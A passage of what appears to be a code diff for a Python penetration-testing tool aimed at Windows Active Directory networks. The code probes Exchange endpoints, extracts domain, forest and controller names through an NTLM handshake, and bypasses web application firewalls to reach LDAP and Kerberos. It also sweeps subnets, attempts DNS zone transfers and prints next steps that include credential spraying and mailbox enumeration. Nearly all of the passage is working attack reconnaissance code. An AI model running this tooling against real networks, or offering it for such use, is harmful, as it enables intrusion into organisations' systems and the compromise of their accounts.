tuple[int, dict[str, str], str]: + """Raw HTTPS GET, returns (status_code, headers, body).""" + try: + ctx = ssl.create_default_context() + ctx.check_hostname = False + ctx.verify_mode = ssl.CERT_NONE + raw = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + raw.settimeout(timeout) + raw.connect((ip, port)) + s = ctx.wrap_socket(raw, server_hostname=hostname) + hdrs = [f"GET {path} HTTP/1.1", f"Host: {hostname}", "Connection: close", "User-Agent: Microsoft Office/16.0"] + if extra_headers: + hdrs.extend(extra_headers) + s.sendall(("\r\n".join(hdrs) + "\r\n\r\n").encode()) + resp = b"" + while True: + chunk = s.recv(4096) + if not chunk: + break + resp += chunk + if len(resp) > 32768: + break + s.close() + text = resp.decode("utf-8", errors="replace") + if not text.startswith("HTTP/"): + return 0, {}, text + lines = text.split("\r\n") + code = int(lines[0].split()[1]) if len(lines[0].split()) > 1 else 0 + parsed_hdrs: dict[str, str] = {} + for line in lines[1:]: + if not line: + break + if ":" in line: + k, _, v = line.partition(":") + parsed_hdrs[k.strip().lower()] = v.strip() + body = text[text.find("\r\n\r\n") + 4:] if "\r\n\r\n" in text else "" + return code, parsed_hdrs, body + except Exception as exc: + print(f"[VERBOSE] [waf_bypass_email_http] HTTPS GET {path} failed: {exc}", file=sys.stderr, flush=True) + return 0, {}, "" + + def _extract_ntlm_domain(www_auth: str) -> dict[str, str] | None: + """Parse NTLM Type 2 challenge from WWW-Authenticate header to extract AD domain info.""" + try: + # Initiate NTLM Type 1 negotiate to get Type 2 challenge + # NTLM Type 1 message (negotiate): minimal static blob + ntlm_type1_b64 = "TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==" + ctx = ssl.create_default_context() + ctx.check_hostname = False + ctx.verify_mode = ssl.CERT_NONE + raw = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + raw.settimeout(timeout) + raw.connect((ip, 443)) + s2 = ctx.wrap_socket(raw, server_hostname=hostname) + req = ( + "GET /EWS/Exchange.asmx HTTP/1.1\r\n" + f"Host: {hostname}\r\n" + f"Authorization: NTLM {ntlm_type1_b64}\r\n" + "Connection: keep-alive\r\n" + "User-Agent: Microsoft Office/16.0\r\n\r\n" + ) + s2.sendall(req.encode()) + resp2 = b"" + while True: + chunk = s2.recv(4096) + if not chunk: + break + resp2 += chunk + if len(resp2) > 8192: + break + s2.close() + text2 = resp2.decode("utf-8", errors="replace") + # Extract Type 2 NTLM challenge from WWW-Authenticate + for line in text2.split("\r\n"): + if line.lower().startswith("www-authenticate: ntlm "): + b64 = line.split(" ", 2)[2].strip() + data = base64.b64decode(b64 + "==") + # NTLM Type 2: signature(8) + msgtype(4) + target_name_fields(8) + flags(4) + challenge(8) + ... + if len(data) >= 48 and data[:8] == b"NTLMSSP\x00" and data[8:12] == b"\x02\x00\x00\x00": + # Target name offset/length at bytes 12-16 + tname_len = int.from_bytes(data[12:14], "little") + tname_off = int.from_bytes(data[16:18], "little") if len(data) > 18 else 0 + # Flags at bytes 20-24 + flags = int.from_bytes(data[20:24], "little") + negotiate_oem = bool(flags & 0x02) + # Extract target name (domain/workgroup) + target_name = "" + if tname_off and tname_off + tname_len <= len(data): + raw_name = data[tname_off:tname_off + tname_len] + try: + target_name = raw_name.decode("utf-16-le") + except Exception: + target_name = raw_name.decode("latin-1", errors="replace") + # TargetInfo block starts after challenge (offset 56 typically) + info: dict[str, str] = {"domain": target_name} + if len(data) > 56: + ti_len = int.from_bytes(data[40:42], "little") + ti_off = int.from_bytes(data[44:46], "little") if len(data) > 46 else 0 + pos = ti_off + while pos + 4 <= len(data) and pos + 4 <= ti_off + ti_len: + av_id = int.from_bytes(data[pos:pos + 2], "little") + av_len = int.from_bytes(data[pos + 2:pos + 4], "little") + av_val_raw = data[pos + 4:pos + 4 + av_len] + try: + av_val = av_val_raw.decode("utf-16-le") + except Exception: + av_val = av_val_raw.hex() + av_map = {1: "nb_domain", 2: "nb_computer", 3: "dns_domain", 4: "dns_computer", 5: "dns_forest"} + if av_id in av_map: + info[av_map[av_id]] = av_val + if av_id == 0: + break + pos += 4 + av_len + return info + except Exception as exc: + print(f"[VERBOSE] [waf_bypass_email_http] NTLM extraction failed: {exc}", file=sys.stderr, flush=True) + return None + + # 1. OWA + code, hdrs, body = _https_get("/owa/") + if code in (200, 302, 401, 403): + ep = {"path": "/owa/", "code": code} + results["reachable_endpoints"].append(ep) + if "x-owa-version" in hdrs: + results["exchange_version"] = hdrs["x-owa-version"] + ep["exchange_version"] = hdrs["x-owa-version"] + if "domain" in body.lower() or "x-ms-diagnostics" in hdrs: + ep["domain_hint"] = hdrs.get("x-ms-diagnostics", "") + print(f"[VERBOSE] [waf_bypass_email_http] OWA reachable: {code}, Exchange={results.get('exchange_version')}", file=sys.stderr, flush=True) + + # 2. EWS NTLM extraction (most reliable domain leak) + code2, hdrs2, _ = _https_get("/EWS/Exchange.asmx") + if code2 in (200, 401, 403): + ep2 = {"path": "/EWS/Exchange.asmx", "code": code2} + results["reachable_endpoints"].append(ep2) + www_auth = hdrs2.get("www-authenticate", "") + if "ntlm" in www_auth.lower() or "negotiate" in www_auth.lower(): + ep2["auth_methods"] = www_auth + ntlm_info = _extract_ntlm_domain(www_auth) + if ntlm_info: + results["ntlm_info"] = ntlm_info + results["domain_leaked"] = ntlm_info.get("dns_domain") or ntlm_info.get("nb_domain") + print(f"[VERBOSE] [waf_bypass_email_http] NTLM domain extracted: {results['domain_leaked']}, forest={ntlm_info.get('dns_forest')}, computer={ntlm_info.get('dns_computer')}", file=sys.stderr, flush=True) + if "x-diaginfo" in hdrs2: + results["exchange_version"] = results["exchange_version"] or hdrs2["x-diaginfo"] + + # 3. Autodiscover + code3, hdrs3, body3 = _https_get("/autodiscover/autodiscover.xml") + if code3 in (200, 401, 403, 501): + ep3 = {"path": "/autodiscover/autodiscover.xml", "code": code3} + results["reachable_endpoints"].append(ep3) + results["autodiscover_info"]["reachable"] = True + # Try to extract domain from XML response + import re as _re + domain_match = _re.search(r"(.*?)", body3, _re.IGNORECASE) + if domain_match: + results["autodiscover_info"]["domain"] = domain_match.group(1) + results["domain_leaked"] = results["domain_leaked"] or domain_match.group(1) + server_match = _re.search(r"(.*?)", body3, _re.IGNORECASE) + if server_match: + results["autodiscover_info"]["server"] = server_match.group(1) + print(f"[VERBOSE] [waf_bypass_email_http] Autodiscover: {code3}, domain={results['autodiscover_info'].get('domain')}", file=sys.stderr, flush=True) + + # 4. ActiveSync + code4, hdrs4, _ = _https_get("/Microsoft-Server-ActiveSync") + if code4 in (200, 401, 403, 505): + results["reachable_endpoints"].append({"path": "/Microsoft-Server-ActiveSync", "code": code4, "ms-asprotocolversion": hdrs4.get("ms-asprotocolversion", "")}) + + # 5. MAPI over HTTP + code5, _, _ = _https_get("/mapi/emsmdb/") + if code5 in (200, 401, 403): + results["reachable_endpoints"].append({"path": "/mapi/emsmdb/", "code": code5}) + + # 6. SMTP on port 25 and 587 + for smtp_port in (25, 587): + try: + s_smtp = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s_smtp.settimeout(timeout) + if s_smtp.connect_ex((ip, smtp_port)) == 0: + banner = s_smtp.recv(512).decode("utf-8", errors="replace").strip() + s_smtp.sendall(f"EHLO pentest.local\r\n".encode()) + ehlo_resp = s_smtp.recv(1024).decode("utf-8", errors="replace") + s_smtp.close() + smtp_info: dict[str, Any] = {"port": smtp_port, "banner": banner[:200], "ehlo": ehlo_resp[:500]} + # NTLM AUTH leaks domain + if "AUTH" in ehlo_resp and "NTLM" in ehlo_resp: + smtp_info["ntlm_auth_available"] = True + results["smtp_info"][str(smtp_port)] = smtp_info + print(f"[VERBOSE] [waf_bypass_email_http] SMTP port {smtp_port} open: {banner[:80]}", file=sys.stderr, flush=True) + else: + s_smtp.close() + except Exception: + pass + + # Build bypass_status + domain = results.get("domain_leaked") + endpoints_found = len(results["reachable_endpoints"]) + if domain: + bypass_status = f"domain-leaked-via-email-http: {domain}" + elif endpoints_found > 0: + bypass_status = f"email-endpoints-reachable ({endpoints_found} found) - domain not yet extracted" + else: + bypass_status = "email-http-blocked - no Exchange endpoints reachable" + + results["bypass_status"] = bypass_status + + results["next_steps"] = [] + if domain: + results["next_steps"].append(f"Domain confirmed: {domain} - run LDAP/Kerberos tools targeting this domain") + if results["ntlm_info"].get("dns_computer"): + results["next_steps"].append(f"DC hostname: {results['ntlm_info']['dns_computer']} - resolve its IP for direct targeting") + if results["ntlm_info"].get("dns_forest"): + results["next_steps"].append(f"Forest: {results['ntlm_info']['dns_forest']}") + if results["smtp_info"] and any(v.get("ntlm_auth_available") for v in results["smtp_info"].values()): + results["next_steps"].append("SMTP NTLM auth available - can extract domain via NTLM handshake on port 25/587") + if results["reachable_endpoints"]: + results["next_steps"].append("OWA/EWS reachable - try credential spraying (be careful of lockout policy)") + results["next_steps"].append("Use MailSniper/ruler/ewsManage for mailbox enumeration via EWS") + + print(f"[VERBOSE] [waf_bypass_email_http] Done: {bypass_status}", file=sys.stderr, flush=True) + return results + + +def detect_dc_via_port_fingerprint( + ip: str, + timeout: float = 2.0, +) -> DCInfo | None: + """Identify a host as a DC by checking for AD-characteristic open ports.""" + print(f"[VERBOSE] [detect_dc_via_port_fingerprint] Port-fingerprinting host {ip} for DC signature ports...", file=sys.stderr, flush=True) + dc = DCInfo(ip=ip) + open_ports = [] + + for port, service in AD_RECON_PORTS.items(): + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(timeout) + if s.connect_ex((ip, port)) == 0: + open_ports.append(port) + dc.services[str(port)] = service + print(f"[VERBOSE] [detect_dc_via_port_fingerprint] {ip}:{port} ({service}) is OPEN", file=sys.stderr, flush=True) + s.close() + except socket.error: + try: + s.close() + except Exception: + pass + + dc.open_ports = sorted(open_ports) + dc_ports_open = set(open_ports) & DC_SIGNATURE_PORTS + + if len(dc_ports_open) >= 2: + # Check for WAF/CDN fronting before classifying as DC + waf_info = detect_waf_on_host(ip, timeout=timeout) + if waf_info: + print( + f"[VERBOSE] [detect_dc_via_port_fingerprint] WAF/CDN detected on {ip} " + f"({waf_info['vendor']}) - running bypass battery before classifying", + file=sys.stderr, flush=True + ) + # Run the full bypass battery - raw LDAP/Kerberos may still reach the real DC + bypass_results = waf_bypass_full(ip, hostname=ip, waf_info=waf_info, timeout=timeout) + waf_info["bypass_results"] = bypass_results + + # If raw LDAP or Kerberos bypassed the WAF, this may still be a real DC + ldap_through = bypass_results.get("ldap_raw_bypass", {}).get("bypass_status") == "ldap-reachable" + krb_through = bypass_results.get("kerberos_raw_bypass", {}).get("kerberos_reachable", False) + + if ldap_through or krb_through: + dc.detection_methods.append("port-fingerprint-waf-bypassed") + dc.confidence = 0.7 # Elevated - protocol bypass confirms real DC behind WAF + dc.waf_info = waf_info # type: ignore[attr-defined] + print( + f"[VERBOSE] [detect_dc_via_port_fingerprint] WAF BYPASSED on {ip} " + f"(ldap={ldap_through}, kerberos={krb_through}) - confidence=0.7", + file=sys.stderr, flush=True + ) + else: + dc.detection_methods.append("port-fingerprint-waf-blocked") + dc.confidence = 0.1 # Very low - WAF blocking, not a real DC + dc.waf_info = waf_info # type: ignore[attr-defined] + return dc # Still return so caller can report WAF presence + bypass results + + dc.detection_methods.append("port-fingerprint") + dc.confidence = min(len(dc_ports_open) / len(DC_SIGNATURE_PORTS), 1.0) + if 3268 in open_ports or 3269 in open_ports: + dc.is_gc = True + print(f"[VERBOSE] [detect_dc_via_port_fingerprint] {ip} identified as probable DC (confidence: {dc.confidence:.0%}, DC ports open: {dc_ports_open})", file=sys.stderr, flush=True) + return dc + + print(f"[VERBOSE] [detect_dc_via_port_fingerprint] {ip} does not match DC port signature (only {len(dc_ports_open)} DC port(s) open)", file=sys.stderr, flush=True) + return None + + +def detect_dc_via_ldap( + ip: str, + timeout: float = 5.0, +) -> DCInfo | None: + """Query LDAP RootDSE to confirm DC identity and extract domain information.""" + print(f"[VERBOSE] [detect_dc_via_ldap] Probing LDAP RootDSE on {ip} for DC confirmation...", file=sys.stderr, flush=True) + try: + server = Server(ip, port=389, get_info=ALL, connect_timeout=timeout) + conn = Connection(server, auto_bind=True, receive_timeout=timeout) + if not conn.bound: + print(f"[VERBOSE] [detect_dc_via_ldap] LDAP connection established but binding failed on {ip}", file=sys.stderr, flush=True) + return None + + info = server.info + dc = DCInfo(ip=ip) + dc.detection_methods.append("ldap-rootdse") + + if info.other: + dc.ldap_info = {k: (v if isinstance(v, list) else [v]) for k, v in info.other.items()} + + if info.naming_contexts: + dc.ldap_info["namingContexts"] = [str(nc) for nc in info.naming_contexts] + + if info.default_naming_context: + dn = str(info.default_naming_context) + dc.ldap_info["defaultNamingContext"] = dn + parts = [p.split("=", 1)[1] for p in dn.split(",") if p.upper().startswith("DC=")] + if parts: + dc.domain = ".".join(parts) + print(f"[VERBOSE] [detect_dc_via_ldap] Extracted domain from defaultNamingContext: {dc.domain}", file=sys.stderr, flush=True) + + dns_domain = None + if info.other: + for key in ("dnsHostName", "ldapServiceName", "dnsDomain"): + val = info.other.get(key) + if val: + v = val[0] if isinstance(val, list) else val + if key == "dnsHostName": + dc.hostname = str(v) + print(f"[VERBOSE] [detect_dc_via_ldap] dnsHostName extracted: {dc.hostname}", file=sys.stderr, flush=True) + if key == "dnsDomain": + dns_domain = str(v) + if dns_domain and not dc.domain: + dc.domain = dns_domain + + if info.forest_function_level is not None: + dc.ldap_info["forestFunctionLevel"] = str(info.forest_function_level) + print(f"[VERBOSE] [detect_dc_via_ldap] Forest function level: {info.forest_function_level}", file=sys.stderr, flush=True) + if info.domain_function_level is not None: + dc.ldap_info["domainFunctionLevel"] = str(info.domain_function_level) + print(f"[VERBOSE] [detect_dc_via_ldap] Domain function level: {info.domain_function_level}", file=sys.stderr, flush=True) + + dc.confidence = 1.0 + print(f"[VERBOSE] [detect_dc_via_ldap] LDAP confirmed DC: {ip} domain={dc.domain} hostname={dc.hostname}", file=sys.stderr, flush=True) + conn.unbind() + return dc + + except Exception as exc: + print(f"[VERBOSE] [detect_dc_via_ldap] LDAP probe failed for {ip}: {exc}", file=sys.stderr, flush=True) + return None + + +def resolve_dc_fqdn( + dc: DCInfo, + timeout: float = 3.0, +) -> None: + """ + Multi-source FQDN resolution for a Domain Controller. + Priority order: + 1. LDAP dnsHostName attribute (most authoritative) + 2. DNS SRV hostname (already set during SRV detection) + 3. Reverse DNS PTR record + 4. Forward DNS verification (hostname + domain -> IP must match) + Sets dc.fqdn and dc.fqdn_source on success. + """ + print(f"[VERBOSE] [resolve_dc_fqdn] Resolving FQDN for DC {dc.ip} (hostname={dc.hostname}, domain={dc.domain})...", file=sys.stderr, flush=True) + + # Source 1: LDAP dnsHostName (most authoritative - set during LDAP probe) + ldap_dns_hostname = None + if dc.ldap_info: + for key in ("dnsHostName",): + val = dc.ldap_info.get(key) + if val: + candidate = val[0] if isinstance(val, list) else val + candidate = str(candidate).strip().rstrip(".") + if candidate and "." in candidate: + ldap_dns_hostname = candidate + break + + # If no LDAP info yet, attempt a live LDAP probe to obtain dnsHostName from the DC IP + if not ldap_dns_hostname: + print(f"[VERBOSE] [resolve_dc_fqdn] No cached LDAP dnsHostName for {dc.ip}, attempting live LDAP RootDSE probe...", file=sys.stderr, flush=True) + try: + server = Server(dc.ip, port=389, get_info=ALL, connect_timeout=timeout) + conn = Connection(server, auto_bind=True, receive_timeout=timeout) + if conn.bound and server.info and server.info.other: + val = server.info.other.get("dnsHostName") + if val: + candidate = val[0] if isinstance(val, list) else val + candidate = str(candidate).strip().rstrip(".") + if candidate and "." in candidate: + ldap_dns_hostname = candidate + dc.ldap_info["dnsHostName"] = [candidate] + print(f"[VERBOSE] [resolve_dc_fqdn] Live LDAP probe obtained dnsHostName: {candidate}", file=sys.stderr, flush=True) + # Also pick up domain if missing + if not dc.domain and server.info.default_naming_context: + dn = str(server.info.default_naming_context) + parts = [p.split("=", 1)[1] for p in dn.split(",") if p.upper().startswith("DC=")] + if parts: + dc.domain = ".".join(parts) + print(f"[VERBOSE] [resolve_dc_fqdn] Live LDAP probe extracted domain: {dc.domain}", file=sys.stderr, flush=True) + conn.unbind() + except Exception as ldap_exc: + print(f"[VERBOSE] [resolve_dc_fqdn] Live LDAP probe failed for {dc.ip}: {ldap_exc}", file=sys.stderr, flush=True) + + if ldap_dns_hostname: + if _verify_fqdn_resolves_to_ip(ldap_dns_hostname, dc.ip, timeout): + dc.fqdn = ldap_dns_hostname + dc.fqdn_source = "ldap-dnsHostName" + print(f"[VERBOSE] [resolve_dc_fqdn] FQDN set from LDAP dnsHostName: {dc.fqdn} (verified)", file=sys.stderr, flush=True) + return + else: + dc.fqdn = ldap_dns_hostname + dc.fqdn_source = "ldap-dnsHostName-unverified" + print(f"[VERBOSE] [resolve_dc_fqdn] FQDN set from LDAP dnsHostName: {dc.fqdn} (DNS verification failed, using anyway)", file=sys.stderr, flush=True) + return + + # Source 2: SRV hostname (already contains FQDN from SRV target field) + if dc.hostname and "." in dc.hostname: + if _verify_fqdn_resolves_to_ip(dc.hostname, dc.ip, timeout): + dc.fqdn = dc.hostname + dc.fqdn_source = "srv-hostname" + print(f"[VERBOSE] [resolve_dc_fqdn] FQDN set from SRV hostname: {dc.fqdn} (verified)", file=sys.stderr, flush=True) + return + + # Source 3: Reverse DNS PTR record + try: + rev_name = dns.reversename.from_address(dc.ip) + ptr_results = GLOBAL_DNS_CONFIG.resolve(str(rev_name), "PTR") + for ptr_fqdn in ptr_results: + ptr_fqdn = ptr_fqdn.rstrip(".") + if ptr_fqdn and "." in ptr_fqdn: + if _verify_fqdn_resolves_to_ip(ptr_fqdn, dc.ip, timeout): + dc.fqdn = ptr_fqdn + dc.fqdn_source = "reverse-dns-ptr" + if not dc.hostname: + dc.hostname = ptr_fqdn + print(f"[VERBOSE] [resolve_dc_fqdn] FQDN set from reverse DNS PTR: {dc.fqdn} (verified)", file=sys.stderr, flush=True) + return + else: + dc.fqdn = ptr_fqdn + dc.fqdn_source = "reverse-dns-ptr-unverified" + if not dc.hostname: + dc.hostname = ptr_fqdn + print(f"[VERBOSE] [resolve_dc_fqdn] FQDN set from reverse DNS PTR: {dc.fqdn} (forward verification failed)", file=sys.stderr, flush=True) + return + except (dns.resolver.NXDOMAIN, dns.resolver.NoAnswer, dns.resolver.Timeout): + print(f"[VERBOSE] [resolve_dc_fqdn] Reverse DNS PTR lookup returned no results for {dc.ip}", file=sys.stderr, flush=True) + except Exception as exc: + print(f"[VERBOSE] [resolve_dc_fqdn] Reverse DNS PTR exception for {dc.ip}: {exc}", file=sys.stderr, flush=True) + + # Source 4: Construct FQDN from hostname + domain and verify + if dc.hostname and dc.domain: + short_host = dc.hostname.split(".")[0] + constructed_fqdn = f"{short_host}.{dc.domain}" + if _verify_fqdn_resolves_to_ip(constructed_fqdn, dc.ip, timeout): + dc.fqdn = constructed_fqdn + dc.fqdn_source = "constructed-verified" + print(f"[VERBOSE] [resolve_dc_fqdn] FQDN constructed from hostname+domain: {dc.fqdn} (verified)", file=sys.stderr, flush=True) + return + else: + dc.fqdn = constructed_fqdn + dc.fqdn_source = "constructed-unverified" + print(f"[VERBOSE] [resolve_dc_fqdn] FQDN constructed from hostname+domain: {dc.fqdn} (forward verification failed)", file=sys.stderr, flush=True) + return + + # Fallback: use hostname if it looks like an FQDN + if dc.hostname and "." in dc.hostname: + dc.fqdn = dc.hostname + dc.fqdn_source = "hostname-fallback" + print(f"[VERBOSE] [resolve_dc_fqdn] FQDN fallback from hostname: {dc.fqdn}", file=sys.stderr, flush=True) + return + + print(f"[VERBOSE] [resolve_dc_fqdn] Could not resolve FQDN for DC {dc.ip}. Tool execution will use IP address.", file=sys.stderr, flush=True) + + +def _verify_fqdn_resolves_to_ip( + fqdn: str, + expected_ip: str, + timeout: float = 3.0, +) -> bool: + """Verify that an FQDN resolves to the expected IP via forward DNS lookup.""" + try: + resolved_ips = set(GLOBAL_DNS_CONFIG.resolve(fqdn, "A")) + match = expected_ip in resolved_ips + print(f"[VERBOSE] [_verify_fqdn_resolves_to_ip] {fqdn} -> {resolved_ips} | expected={expected_ip} | match={match}", file=sys.stderr, flush=True) + return match + except (dns.resolver.NXDOMAIN, dns.resolver.NoAnswer, dns.resolver.Timeout): + return False + except Exception: + return False + + +def _merge_dc_into_map( + dc_map: dict[str, DCInfo], + dc: DCInfo, +) -> None: + """Merge a newly detected DC into the existing DC map, combining detection methods and metadata.""" + ip = dc.ip + if ip in dc_map: + existing = dc_map[ip] + existing.detection_methods.extend( + m for m in dc.detection_methods if m not in existing.detection_methods + ) + existing.open_ports = sorted(set(existing.open_ports) | set(dc.open_ports)) + existing.services.update(dc.services) + existing.ldap_info.update(dc.ldap_info) + existing.domain = dc.domain or existing.domain + existing.hostname = dc.hostname or existing.hostname + existing.fqdn = dc.fqdn or existing.fqdn + existing.fqdn_source = dc.fqdn_source or existing.fqdn_source + existing.confidence = max(existing.confidence, dc.confidence) + if dc.is_gc: + existing.is_gc = True + else: + dc_map[ip] = dc + + +def _scan_subnet_for_dcs( + dc_map: dict[str, DCInfo], + resolved_ips: list[str], + cidr_prefix: int, + timeout: float, +) -> str | None: + """Scan a subnet at the given CIDR prefix for hosts with Kerberos port 88 open, then fingerprint and LDAP-probe them.""" + detected_domain: str | None = None + scan_networks = sorted( + {str(ipaddress.ip_network(f"{ip}/{cidr_prefix}", strict=False)) for ip in resolved_ips}, + key=lambda v: int(ipaddress.ip_network(v).network_address), + ) + scan_ips = set() + for net_str in scan_networks: + for addr in ipaddress.ip_network(net_str).hosts(): + ip_str = str(addr) + if ip_str not in resolved_ips and ip_str not in dc_map and is_usable_host(ip_str): + scan_ips.add(ip_str) + + if not scan_ips: + print(f"[VERBOSE] [_scan_subnet_for_dcs] No additional hosts to scan in /{cidr_prefix} subnets", file=sys.stderr, flush=True) + return None + + print(f"[VERBOSE] [_scan_subnet_for_dcs] Scanning /{cidr_prefix} subnet ({len(scan_ips)} candidate hosts) for Kerberos port 88...", file=sys.stderr, flush=True) + for ip in sorted(scan_ips, key=lambda v: int(ipaddress.ip_address(v))): + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(1.0) + if s.connect_ex((ip, 88)) == 0: + s.close() + print(f"[VERBOSE] [_scan_subnet_for_dcs] Kerberos port 88 open on {ip}, performing full DC fingerprint...", file=sys.stderr, flush=True) + fp_dc = detect_dc_via_port_fingerprint(ip, timeout=timeout) + if fp_dc: + _merge_dc_into_map(dc_map, fp_dc) + ldap_dc = detect_dc_via_ldap(ip, timeout=timeout) + if ldap_dc: + _merge_dc_into_map(dc_map, ldap_dc) + if ldap_dc.domain: + detected_domain = ldap_dc.domain + else: + s.close() + except socket.error: + pass + + return detected_domain + + +def discover_subnets_via_dns( + target: str, + resolved_ips: list[str], + detected_domain: str | None = None, + timeout: float = 5.0, +) -> list[str]: + """ + Discover additional AD subnets using DNS reconnaissance techniques: + 1. AD Sites-and-Services DNS records (_tcp._sites.*) + 2. Reverse DNS sweeps on known /24 networks to find populated ranges + 3. DNS zone transfer attempts (AXFR) to enumerate all A records + 4. MX / NS / additional SRV record resolution for new IPs + 5. _msdcs subdomain enumeration for forest-wide DC IPs + Returns a deduplicated list of /24 CIDR networks discovered beyond + those already derived from resolved_ips. + """ + print("[VERBOSE] [discover_subnets_via_dns] Starting DNS-based subnet discovery...", file=sys.stderr, flush=True) + + known_networks: set[str] = set() + for ip in resolved_ips: + net = str(ipaddress.IPv4Network(f"{ip}/24", strict=False)) + known_networks.add(net) + + discovered_ips: set[str] = set() + + domains_to_query: list[str] = [] + if detected_domain: + domains_to_query.append(detected_domain) + if not is_ipv4(target) and target not in domains_to_query: + domains_to_query.append(target) + parts = target.split(".") + if len(parts) > 2: + parent = ".".join(parts[-2:]) + if parent not in domains_to_query: + domains_to_query.append(parent) + + # --- 1. AD Sites-and-Services SRV records --- + site_srv_prefixes = [ + "_ldap._tcp.Default-First-Site-Name._sites.dc._msdcs", + "_ldap._tcp.Default-First-Site-Name._sites", + "_kerberos._tcp.Default-First-Site-Name._sites.dc._msdcs", + "_kerberos._tcp.Default-First-Site-Name._sites", + "_ldap._tcp.ForestDnsZones", + "_ldap._tcp.DomainDnsZones", + ] + for domain in domains_to_query: + for prefix in site_srv_prefixes: + qname = f"{prefix}.{domain}" + try: + answers = GLOBAL_DNS_CONFIG.resolver.resolve(qname, "SRV") + for rdata in answers: + hostname = str(rdata.target).rstrip(".") + try: + for ip in GLOBAL_DNS_CONFIG.resolve(hostname, "A"): + discovered_ips.add(ip) + print(f"[VERBOSE] [discover_subnets_via_dns] Site SRV {qname} -> {hostname} -> {ip}", file=sys.stderr, flush=True) + except Exception: + pass + except Exception: + continue + + # --- 2. NS and MX record resolution --- + for domain in domains_to_query: + for rdtype in ("NS", "MX"): + try: + answers = GLOBAL_DNS_CONFIG.resolver.resolve(domain, rdtype) + for rdata in answers: + hostname = str(rdata.exchange if rdtype == "MX" else rdata.target).rstrip(".") + try: + for ip in GLOBAL_DNS_CONFIG.resolve(hostname, "A"): + discovered_ips.add(ip) + print(f"[VERBOSE] [discover_subnets_via_dns] {rdtype} {domain} -> {hostname} -> {ip}", file=sys.stderr, flush=True) + except Exception: + pass + except Exception: + continue + + # --- 3. _msdcs forest-wide enumeration --- + msdcs_queries = [ + "_ldap._tcp.pdc._msdcs", + "_ldap._tcp.gc._msdcs", + "_kerberos._tcp.dc._msdcs", + "_kpasswd._tcp.dc._msdcs", + ] + for domain in domains_to_query: + for prefix in msdcs_queries: + qname = f"{prefix}.{domain}" + try: + answers = GLOBAL_DNS_CONFIG.resolver.resolve(qname, "SRV") + for rdata in answers: + hostname = str(rdata.target).rstrip(".") + try: + for ip in GLOBAL_DNS_CONFIG.resolve(hostname, "A"): + discovered_ips.add(ip) + print(f"[VERBOSE] [discover_subnets_via_dns] MSDCS {qname} -> {hostname} -> {ip}", file=sys.stderr, flush=True) + except Exception: + pass + except Exception: + continue + + # --- 4. DNS zone transfer attempt (AXFR) --- + for domain in domains_to_query: + try: + ns_answers = GLOBAL_DNS_CONFIG.resolver.resolve(domain, "NS") + for ns_rdata in ns_answers: + ns_host = str(ns_rdata.target).rstrip(".") + try: + ns_ips = GLOBAL_DNS_CONFIG.resolve(ns_host, "A") + for ns_ip in ns_ips: + try: + print(f"[VERBOSE] [discover_subnets_via_dns] Attempting AXFR zone transfer from {ns_host} ({ns_ip}) for {domain}...", file=sys.stderr, flush=True) + zone = dns.zone.from_xfr(dns.query.xfr(ns_ip, domain, lifetime=timeout)) + for name, node in zone.nodes.items(): + for rdataset in node.rdatasets: + if rdataset.rdtype == dns.rdatatype.A: + for rdata in rdataset: + discovered_ips.add(str(rdata)) + print(f"[VERBOSE] [discover_subnets_via_dns] AXFR successful from {ns_host}: extracted {len(discovered_ips)} IPs", file=sys.stderr, flush=True) + except Exception: + print(f"[VERBOSE] [discover_subnets_via_dns] AXFR denied/failed from {ns_host} ({ns_ip}) - expected for secured zones", file=sys.stderr, flush=True) + except Exception: + pass + except Exception: + pass + + # --- 5. Reverse DNS sweep on known subnets to find adjacent hosts --- + for ip in list(resolved_ips)[:5]: + base_net = ipaddress.IPv4Network(f"{ip}/24", strict=False) + sample_ips = [str(base_net.network_address + offset) for offset in (1, 2, 3, 10, 20, 50, 100, 150, 200, 250, 253, 254)] + for sample_ip in sample_ips: + try: + rev_name = dns.reversename.from_address(sample_ip) + answers = GLOBAL_DNS_CONFIG.resolver.resolve(rev_name, "PTR") + for rdata in answers: + ptr_hostname = str(rdata.target).rstrip(".") + try: + for fwd_ip in GLOBAL_DNS_CONFIG.resolve(ptr_hostname, "A"): + discovered_ips.add(fwd_ip) + if fwd_ip != sample_ip: + print(f"[VERBOSE] [discover_subnets_via_dns] Reverse DNS {sample_ip} -> {ptr_hostname} -> {fwd_ip} (new subnet host)", file=sys.stderr, flush=True) + except Exception: + pass + except Exception: + continue + + # --- 6. Common AD service hostnames --- + common_prefixes = ["dc", "dc1", "dc2", "dc3", "ad", "ad1", "exchange", "mail", "ca", "adfs", "sccm", "wsus", "sql", "fs", "file"] + for domain in domains_to_query: + for prefix in common_prefixes: + fqdn = f"{prefix}.{domain}" + try: + for ip in GLOBAL_DNS_CONFIG.resolve(fqdn, "A"): + discovered_ips.add(ip) + print(f"[VERBOSE] [discover_subnets_via_dns] Common hostname {fqdn} -> {ip}", file=sys.stderr, flush=True) + except Exception: + continue + + # Build new subnet list + new_networks: list[str] = [] + for ip in discovered_ips: + try: + net = str(ipaddress.IPv4Network(f"{ip}/24", strict=False)) + if net not in known_networks: + known_networks.add(net) + new_networks.append(net) + except ValueError: + continue + + new_networks.sort(key=lambda n: ipaddress.IPv4Network(n).network_address) + + print(f"[VERBOSE] [discover_subnets_via_dns] DNS subnet discovery complete: {len(new_networks)} new subnet(s) found, {len(discovered_ips)} total IPs discovered", file=sys.stderr, flush=True) + for net in new_networks: + print(f"[VERBOSE] [discover_subnets_via_dns] NEW SUBNET: {net}", file=sys.stderr, flush=True) + + return new_networks + + +def auto_detect_dcs( + target: str, + resolved_ips: list[str], + networks: list[str], + do_network_scan: bool = True, + timeout: float = 5.0, +) -> tuple[list[DCInfo], str | None]: + """ + Multi-strategy Domain Controller auto-detection pipeline: + 1. DNS SRV lookup (if target is a domain name) + 2. LDAP RootDSE probe on resolved IPs + 3. Port fingerprinting on resolved IPs + 4. Subnet sweep: /24 first, expand to /23 if no DCs found + Returns (list of detected DCs, discovered domain name or None). + """ + print(f"[VERBOSE] [auto_detect_dcs] === Starting multi-strategy DC auto-detection for target: {target} ===", file=sys.stderr, flush=True) + dc_map: dict[str, DCInfo] = {} + detected_domain: str | None = None + + # -- Strategy 1: DNS SRV (domain targets 